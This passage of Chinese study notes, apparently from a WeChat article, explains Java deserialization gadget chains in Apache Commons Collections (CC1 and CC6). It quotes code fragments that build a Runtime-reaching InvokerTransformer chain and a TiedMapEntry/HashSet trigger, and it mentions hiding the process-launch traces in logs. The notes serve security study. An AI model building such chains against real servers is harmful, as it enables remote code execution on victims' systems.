                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">其实不传输一个空参也可以，默认置空</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">new InvokerTransformer(&#34;getMethod&#34;,new Class[]{String.class},new Object[]{&#34;getRuntime&#34;}),</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">ConstantTransformer是实现了Transformer接⼝的⼀个类，它的过程就是在构造函数的时候传⼊⼀个                对象，并在transform⽅法将这个对象再返回</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">TransformedMap⽤于对Java标准数据结构Map做⼀个修饰，被修饰过的Map在添加新的元素时，将可                以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰，传出的outerMap即是修饰后的Map.其中，keyTransformer是处理新元素的Key的回调，valueTransformer是处理新元素的value的回调。                我们这⾥所说的”回调“，并不是传统意义上的⼀个回调函数，⽽是⼀个实现了Transformer接⼝的类。</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">Transformer是⼀个接⼝，它只有⼀个待实现的⽅法,TransformedMap在转换Map的新元素时，就会调⽤transform⽅法，这个过程就类似在调⽤⼀个”回调                函数“，这个回调的参数是原始对象。</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">ChainedTransformer也是实现了Transformer接⼝的⼀个类，它的作⽤是将内部的多个Transformer串                在⼀起。通俗来说就是，前⼀个回调返回的结果，作为后⼀个回调的参数传⼊。按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法，并且每次调用的结果传递给下一个 Transformer#transform() 作为参数</span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Constructor</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">T</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">       </span></span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredConstructor</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameterType</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">       </span></span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throws</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">NoSuchMethodException</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">SecurityException</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">怎么触发回调呢？就是向Map中放⼊⼀个新的元素</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;"><img data-ratio="3" style="width:1.0px;height:2.0px;" data-type="png" data-w="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0fd5efc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKPSvAm2Qb3RuV2yH7p31WQBjDU2FL7tcS3suC1OTSASYiaeAhGv07wow%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:宋体;">动态代理</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.cnblogs.com/yy3b2007com/p/9065303.html" target="_blank">https://www.cnblogs.com/yy3b2007com/p/9065303.html</a></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="http://1.15.187.227/index.php/archives/457/" target="_blank">http://1.15.187.227/index.php/archives/457/</a></span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口，每一个proxy代理实例都有一个关联的调用处理程序；在代理实例调用方法时，方法调用被编码分派到调用处理程序的invoke方法</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">AnnotationInvocationHandler 判断第一个参数必须是注释类</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">JAVA中间件在对序列化的AnnotationInvocationHandler类的对象数据进行反序列化时，会调用其readObject方法并触发漏洞</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类，不能直接使用new来实例化。使用反射获取到了它的构造方法，并将其设置成外部可见的，再调用就可以实例化了</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是                Annotation的子类，且其中必须含有至少一个方法，假设方法名是X</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素。所以，这也解释了为什么我前面用到 Retention.class ，因为Retention有一个方法，名为value；所以，为了再满足第二个条件，我需要给Map中放入一个Key是value的元素</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style="mso-bookmark:lazymap;"><span style="font-family:Calibri;">lazymap</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style="mso-bookmark:lazymap;"><span style="font-family:Cambria;">lazymap是懒加载，在get找不到值的时候，它会调用factory.transform 方法去获取一个值。</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style="mso-bookmark:constanttransformer1;"><span style="font-family:Calibri;">ConstantTransformer(1)</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style="mso-bookmark:constanttransformer1;"><span style="font-family:Cambria;">最后会增加一个ConstantTransformer(1)，隐蔽了启动进程的日志特征：</span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style="mso-bookmark:constanttransformer1;"><span style="font-family:Cambria;"><img data-ratio="0.21964285714285714" style="width:553.8084106445312px;height:122.69999694824219px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=8906711b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK5aIRcibaJAqnibvWaeSxvEGWZveoiaxdQibNZerlZS1cJcXLNZ4Ixg0CoQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-1;"><span style="font-family:Calibri;">CC6</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Calibri;">CC6</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">GPT侠时间</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="">`org.apache.commons.collections.keyvalue.TiedMapEntry` 是 Apache Commons Collections 库中的一个类，它实现了 `java.util.Map.Entry` 接口。它的作用是将一个已存在的键值对（键和值）绑定到指定的 `Map` 实例。</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="">具体来说，`TiedMapEntry` 类提供了以下功能：</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="">1. 将键值对绑定到 `Map` 实例：通过构造函数，你可以将一个已存在的键值对绑定到 `TiedMapEntry` 对象，并指定要绑定的 `Map` 实例。这样，`TiedMapEntry` 对象就代表了该键值对在指定的 `Map` 中的绑定关系。</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="">2. 实现 `Map.Entry` 接口：`TiedMapEntry` 类实现了 `Map.Entry` 接口，它提供了访问和操作键值对的方法。你可以使用 `TiedMapEntry` 对象来获取键和值，并对其进行读取或修改。</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="">3. 与绑定的 `Map` 实例保持同步：`TiedMapEntry` 对象与绑定的 `Map` 实例保持同步，这意味着对 `TiedMapEntry` 对象的操作实际上会直接影响到绑定的 `Map` 实例中对应的键值对。反之亦然，对绑定的 `Map` 实例中对应的键值对的修改也会反映在 `TiedMapEntry` 对象上。</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="">通过使用 `TiedMapEntry`，你可以方便地将现有的键值对绑定到指定的 `Map` 实例，并使用 `TiedMapEntry` 对象对键值对进行访问和操作。这对于在某些场景下需要绑定和同步键值对的应用程序非常有用。</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">直接看cc6不如先看cc5，cc6的链子很简单，问题在于要remove我们的键值，p神给的解释是</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.2857142857142857" style="width:553.8084106445312px;height:159.6300048828125px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=014b2dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKjicXJFFdKX9bibIIhVUjajf5p33KX7OiaPpibIuXIcDeaTDzAuwqVT3Eg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">问题出在第一遍调用put时候触发反序列化链时候lazymap#get方法没有找到key去触发transform后把键值put到map中，在反序列化过程中再次触发get方法直接再map中找到键值了，就不会触发后续的transform方法了</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.34285714285714286" style="width:553.8084106445312px;height:191.97000122070312px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=5da41606&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKOJq2fiafyAicCGtCPaL4Vib2NxViczZhUPCQ6H7lu9V3evGyI06iafSpL5w%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">工具中的cc6通过反射方式将entry赋值给HashSet实例中的一个Node的key属性</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">TiedMapEntry entry </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">TiedMapEntry</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">lazyMap</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;foo&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashSet</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> map </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashSet</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">1</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">map</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">add</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;foo&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//添加一个键</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> f </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span 